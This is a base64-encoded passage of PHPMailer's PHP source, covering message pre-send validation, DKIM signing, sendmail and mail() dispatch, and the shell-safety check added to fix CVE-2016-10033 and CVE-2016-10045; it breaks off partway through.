CAgICAgICAvL0NoZWNrIGZvciBidWdneSBQSFAgdmVyc2lvbnMgdGhhdCBhZGQgYSBoZWFkZXIgd2l0aCBhbiBpbmNvcnJlY3QgbGluZSBicmVhawogICAgICAgIGlmICgKICAgICAgICAgICAgaW5pX2dldCgnbWFpbC5hZGRfeF9oZWFkZXInKSA9PSAxCiAgICAgICAgICAgIGFuZCAnbWFpbCcgPT0gJHRoaXMtPk1haWxlcgogICAgICAgICAgICBhbmQgc3RyaXBvcyhQSFBfT1MsICdXSU4nKSA9PT0gMAogICAgICAgICAgICBhbmQgKCh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc+PScpCiAgICAgICAgICAgICAgICBhbmQgdmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjE3JywgJzwnKSkKICAgICAgICAgICAgICAgIG9yICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjEuMCcsICc+PScpCiAgICAgICAgICAgICAgICAgICAgYW5kIHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMS4zJywgJzwnKSkpCiAgICAgICAgKSB7CiAgICAgICAgICAgIHRyaWdnZXJfZXJyb3IoCiAgICAgICAgICAgICAgICAnWW91ciB2ZXJzaW9uIG9mIFBIUCBpcyBhZmZlY3RlZCBieSBhIGJ1ZyB0aGF0IG1heSByZXN1bHQgaW4gY29ycnVwdGVkIG1lc3NhZ2VzLicgLgogICAgICAgICAgICAgICAgICAgICcgVG8gZml4IGl0LCBzd2l0Y2ggdG8gc2VuZGluZyB1c2luZyBTTVRQLCBkaXNhYmxlIHRoZSBtYWlsLmFkZF94X2hlYWRlciBvcHRpb24gaW4nIC4KICAgICAgICAgICAgICAgICAgICAnIHlvdXIgcGhwLmluaSwgc3dpdGNoIHRvIE1hY09TIG9yIExpbnV4LCBvciB1cGdyYWRlIHlvdXIgUEhQIHRvIHZlcnNpb24gNy4wLjE3KyBvciA3LjEuMysuJywKICAgICAgICAgICAgICAgIEVfVVNFUl9XQVJOSU5HCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIHRyeSB7CiAgICAgICAgICAgICR0aGlzLT5lcnJvcl9jb3VudCA9IDA7IC8vIFJlc2V0IGVycm9ycwogICAgICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciA9ICcnOwogICAgICAgICAgICAvLyBEZXF1ZXVlIHJlY2lwaWVudCBhbmQgUmVwbHktVG8gYWRkcmVzc2VzIHdpdGggSUROCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X21lcmdlKCR0aGlzLT5SZWNpcGllbnRzUXVldWUsICR0aGlzLT5SZXBseVRvUXVldWUpIGFzICRwYXJhbXMpIHsKICAgICAgICAgICAgICAgICRwYXJhbXNbMV0gPSAkdGhpcy0+cHVueWVuY29kZUFkZHJlc3MoJHBhcmFtc1sxXSk7CiAgICAgICAgICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheShbJHRoaXMsICdhZGRBbkFkZHJlc3MnXSwgJHBhcmFtcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgKyBjb3VudCgkdGhpcy0+Y2MpICsgY291bnQoJHRoaXMtPmJjYykgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gVmFsaWRhdGUgRnJvbSwgU2VuZGVyLCBhbmQgQ29uZmlybVJlYWRpbmdUbyBhZGRyZXNzZXMKICAgICAgICAgICAgZm9yZWFjaCAoWydGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJ10gYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPiRhZGRyZXNzX2tpbmQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSBzcHJpbnRmKAogICAgICAgICAgICAgICAgICAgICAgICAnJXMgKCVzKTogJXMnLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJyksCiAgICAgICAgICAgICAgICAgICAgICAgICRhZGRyZXNzX2tpbmQsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIFNldCB3aGV0aGVyIHRoZSBtZXNzYWdlIGlzIG11bHRpcGFydC9hbHRlcm5hdGl2ZQogICAgICAgICAgICBpZiAoJHRoaXMtPmFsdGVybmF0aXZlRXhpc3RzKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5Db250ZW50VHlwZSA9IHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9BTFRFUk5BVElWRTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdGhpcy0+c2V0TWVzc2FnZVR5cGUoKTsKICAgICAgICAgICAgLy8gUmVmdXNlIHRvIHNlbmQgYW4gZW1wdHkgbWVzc2FnZSB1bmxlc3Mgd2UgYXJlIHNwZWNpZmljYWxseSBhbGxvd2luZyBpdAogICAgICAgICAgICBpZiAoISR0aGlzLT5BbGxvd0VtcHR5IGFuZCBlbXB0eSgkdGhpcy0+Qm9keSkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2VtcHR5X21lc3NhZ2UnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9UcmltIHN1YmplY3QgY29uc2lzdGVudGx5CiAgICAgICAgICAgICR0aGlzLT5TdWJqZWN0ID0gdHJpbSgkdGhpcy0+U3ViamVjdCk7CiAgICAgICAgICAgIC8vIENyZWF0ZSBib2R5IGJlZm9yZSBoZWFkZXJzIGluIGNhc2UgYm9keSBtYWtlcyBjaGFuZ2VzIHRvIGhlYWRlcnMgKGUuZy4gYWx0ZXJpbmcgdHJhbnNmZXIgZW5jb2RpbmcpCiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJyc7CiAgICAgICAgICAgICR0aGlzLT5NSU1FQm9keSA9ICR0aGlzLT5jcmVhdGVCb2R5KCk7CiAgICAgICAgICAgIC8vIGNyZWF0ZUJvZHkgbWF5IGhhdmUgYWRkZWQgc29tZSBoZWFkZXJzLCBzbyByZXRhaW4gdGhlbQogICAgICAgICAgICAkdGVtcGhlYWRlcnMgPSAkdGhpcy0+TUlNRUhlYWRlcjsKICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSAkdGhpcy0+Y3JlYXRlSGVhZGVyKCk7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICR0ZW1waGVhZGVyczsKICAgICAgICAgICAgLy8gVG8gY2FwdHVyZSB0aGUgY29tcGxldGUgbWVzc2FnZSB3aGVuIHVzaW5nIG1haWwoKSwgY3JlYXRlCiAgICAgICAgICAgIC8vIGFuIGV4dHJhIGhlYWRlciBsaXN0IHdoaWNoIGNyZWF0ZUhlYWRlcigpIGRvZXNuJ3QgZm9sZCBpbgogICAgICAgICAgICBpZiAoJ21haWwnID09ICR0aGlzLT5NYWlsZXIpIHsKICAgICAgICAgICAgICAgIGlmIChjb3VudCgkdGhpcy0+dG8pID4gMCkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5tYWlsSGVhZGVyIC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5tYWlsSGVhZGVyIC49ICR0aGlzLT5oZWFkZXJMaW5lKCdUbycsICd1bmRpc2Nsb3NlZC1yZWNpcGllbnRzOjsnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5tYWlsSGVhZGVyIC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgICAgICdTdWJqZWN0JywKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICFlbXB0eSgkdGhpcy0+REtJTV9kb21haW4pCiAgICAgICAgICAgICAgICBhbmQgIWVtcHR5KCR0aGlzLT5ES0lNX3NlbGVjdG9yKQogICAgICAgICAgICAgICAgYW5kICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZV9zdHJpbmcpCiAgICAgICAgICAgICAgICAgICAgb3IgKCFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgc3RhdGljOjppc1Blcm1pdHRlZFBhdGgoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIGZpbGVfZXhpc3RzKCR0aGlzLT5ES0lNX3ByaXZhdGUpCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKQogICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfZGtpbSA9ICR0aGlzLT5ES0lNX0FkZCgKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkdGhpcy0+U3ViamVjdCkpLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FQm9keQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gcnRyaW0oJHRoaXMtPk1JTUVIZWFkZXIsICJcclxuICIpIC4gc3RhdGljOjokTEUgLgogICAgICAgICAgICAgICAgICAgIHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRoZWFkZXJfZGtpbSkgLiBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlIHZpYSB0aGUgc2VsZWN0ZWQgbWVjaGFuaXNtLgogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwb3N0U2VuZCgpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgLy8gQ2hvb3NlIHRoZSBtYWlsZXIgYW5kIHNlbmQgdGhyb3VnaCBpdAogICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT5NYWlsZXIpIHsKICAgICAgICAgICAgICAgIGNhc2UgJ3NlbmRtYWlsJzoKICAgICAgICAgICAgICAgIGNhc2UgJ3FtYWlsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnNlbmRtYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ3NtdHAnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c210cFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBjYXNlICdtYWlsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPm1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAkc2VuZE1ldGhvZCA9ICR0aGlzLT5NYWlsZXIgLiAnU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPm1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIC8qKgogICAgICogU2VuZCBtYWlsIHVzaW5nIHRoZSAkU2VuZG1haWwgcHJvZ3JhbS4KICAgICAqCiAgICAgKiBAc2VlICAgIFBIUE1haWxlcjo6JFNlbmRtYWlsCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgICBUaGUgbWVzc2FnZSBib2R5CiAgICAgKgogICAgICogQHRocm93cyBFeGNlcHRpb24KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCdxbWFpbCcgPT0gJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgncW1haWwnID09ICR0aGlzLT5NYWlsZXIpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkc2VuZG1haWwgPSBzcHJpbnRmKCRzZW5kbWFpbEZtdCwgZXNjYXBlc2hlbGxjbWQoJHRoaXMtPlNlbmRtYWlsKSwgJHRoaXMtPlNlbmRlcik7CiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkbWFpbCA9IEBwb3Blbigkc2VuZG1haWwsICd3Jyk7CiAgICAgICAgICAgICAgICBpZiAoISRtYWlsKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZndyaXRlKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkbWFpbCwgJGJvZHkpOwogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygKICAgICAgICAgICAgICAgICAgICAoJHJlc3VsdCA9PSAwKSwKICAgICAgICAgICAgICAgICAgICBbJHRvQWRkcl0sCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20sCiAgICAgICAgICAgICAgICAgICAgW10KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoMCAhPT0gJHJlc3VsdCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbWFpbCA9IEBwb3Blbigkc2VuZG1haWwsICd3Jyk7CiAgICAgICAgICAgIGlmICghJG1haWwpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZndyaXRlKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZndyaXRlKCRtYWlsLCAkYm9keSk7CiAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygKICAgICAgICAgICAgICAgICgkcmVzdWx0ID09IDApLAogICAgICAgICAgICAgICAgJHRoaXMtPnRvLAogICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPmJjYywKICAgICAgICAgICAgICAgICR0aGlzLT5TdWJqZWN0LAogICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAkdGhpcy0+RnJvbSwKICAgICAgICAgICAgICAgIFtdCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgwICE9PSAkcmVzdWx0KSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICogTm90ZSB0aGF0IGVzY2FwZXNoZWxsYXJnIGFuZCBlc2NhcGVzaGVsbGNtZCBhcmUgaW5hZGVxdWF0ZSBmb3Igb3VyIHB1cnBvc2VzLCBlc3BlY2lhbGx5IG9uIFdpbmRvd3MuCiAgICAgKgogICAgICogQHNlZSBodHRwczovL2dpdGh1Yi5jb20vUEhQTWFpbGVyL1BIUE1haWxlci9pc3N1ZXMvOTI0IENWRS0yMDE2LTEwMDQ1IGJ1ZyByZXBvcnQKICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHN0cmluZyB0byBiZSB2YWxpZGF0ZWQKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHJvdGVjdGVkIHN0YXRpYyBmdW5jdGlvbiBpc1NoZWxsU2FmZSgkc3RyaW5nKQogICAgewogICAgICAgIC8vIEZ1dHVyZS1wcm9vZgogICAgICAgIGlmICgKICAgICAgICAgICAgZXNjYXBlc2hlbGxjbWQoJHN0cmluZykgIT09ICRzdHJpbmcKICAgICAgICAgICAgb3IgIWluX2FycmF5KGVzY2FwZXNoZWxsYXJnKCRzdHJpbmcpLCBbIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiJdKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRsZW5ndGggPSBzdHJsZW4oJHN0cmluZyk7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgKyskaSkgewogICAgICAgICAgICAkYyA9ICRzdHJpbmdbJGldOwogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAvKioKICAgICAqIENoZWNrIHdoZXRoZXIgYSBmaWxlIHBhdGggaXMgb2YgYSBwZXJtaXR0ZWQgdHlwZS4KICAgICAqIFVzZWQgdG8gcmVqZWN0IFVSTHMgYW5kIHBoYXIgZmlsZXMgZnJvbSBmdW5jdGlvbnMgdGhhdCBhY2Nlc3MgbG9jYWwgZmlsZSBwYXRocywKICAgICAqIHN1Y2ggYXMgYWRkQXR0YWNobWVudC4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIEEgcmVsYXRpdmUgb3IgYWJzb2x1dGUgcGF0aCB0byBhIGZpbGUKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHJvdGVjdGVkIHN0YXRpYyBmdW5jdGlvbiBpc1Blcm1pdHRlZFBhdGgoJHBhdGgpCiAgICB7CiAgICAgICAgcmV0dXJuICFwcmVnX21hdGNoKCcjXlthLXpdKzovLyNpJywgJHBhdGgpOwogICAgfQogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlIFBIUCBtYWlsKCkgZnVuY3Rpb24uCiAgICAgKgogICAgICogQHNlZSAgICBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Jvb2subWFpbC5waHAKICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSAgIFRoZSBtZXNzYWdlIGJvZHkKICAgICAqCiAgICAgKiBAdGhyb3dzIEV4Y2VwdGlvbgogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gbWFpbFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJHRvQXJyID0gW107CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwogICAgICAgICRwYXJhbXMgPSBudWxsOwogICAgICAgIC8vVGhpcyBzZXRzIHRoZSBTTVRQIGVudmVsb3BlIHNlbmRlciB3aGljaCBnZXRzIHR1cm5lZCBpbnRvIGEgcmV0dXJuLXBhdGggaGVhZGVyIGJ5IHRoZSByZWNlaXZlcgogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kIHN0YXRpYzo6dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vQSBzcGFjZSBhZnRlciBgLWZgIGlzIG9wdGlvbmFsLCBidXQgdGhlcmUgaXMgYSBsb25nIGhpc3Rvcnkgb2YgaXRzIHByZXNlbmNlCiAgICAgICAgICAgIC8vY2F1c2luZyBwcm9ibGVtcywgc28gd2UgZG9uJ3QgdXNlIG9uZQogICAgICAgICAgICAvL0V4aW0gZG9jczogaHR0cDovL3d3dy5leGltLm9yZy9leGltLWh0bWwtY3VycmVudC9kb2MvaHRtbC9zcGVjX2h0bWwvY2gtdGhlX2V4aW1fY29tbWFuZF9saW5lLmh0bWwKICAgICAgICAgICAgLy9TZW5kbWFpbCBkb2NzOiBodHRwOi8vd3d3LnNlbmRtYWlsLm9yZy9+Y2EvZW1haWwvbWFuL3NlbmRtYWlsLmh0bWwKICAgICAgICAgICAgLy9RbWFpbCBkb2NzOiBodHRwOi8vd3d3LnFtYWlsLm9yZy9tYW4vbWFuOC9xbWFpbC1pbmplY3QuaHRtbAogICAgICAgICAgICAvL0V4YW1wbGUgcHJvYmxlbTogaHR0cHM6Ly93d3cuZHJ1cGFsLm9yZy9ub2RlLzEwNTc5NTQKICAgICAgICAgICAgLy8gQ1ZFLTIwMTYtMTAwMzMsIENWRS0yMDE2LTEwMDQ1OiBEb24ndCBwYXNzIC1mIGlmIGNoYXJhY3RlcnMgd2lsbCBiZSBlc2NhcGVkLgogICAgICAgICAgICBpZiAoc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICRwYXJhbXMgPSBzcHJpbnRmKCctZiVzJywgJHRoaXMtPlNlbmRlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJG9sZF9mcm9tID0gaW5pX2dldCgnc2VuZG1haWxfZnJvbScpOwogICAgICAgICAgICBpbmlfc2V0KCdzZW5kbWFpbF9mcm9tJywgJHRoaXMtPlNlbmRlcik7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgPSBmYWxzZTsKICAgICAgICBpZiAoJHRoaXMtPlNpbmdsZVRvIGFuZCBjb3VudCgkdG9BcnIpID4gMSkgewogICAgICAgICAgICBmb3JlYWNoICgkdG9B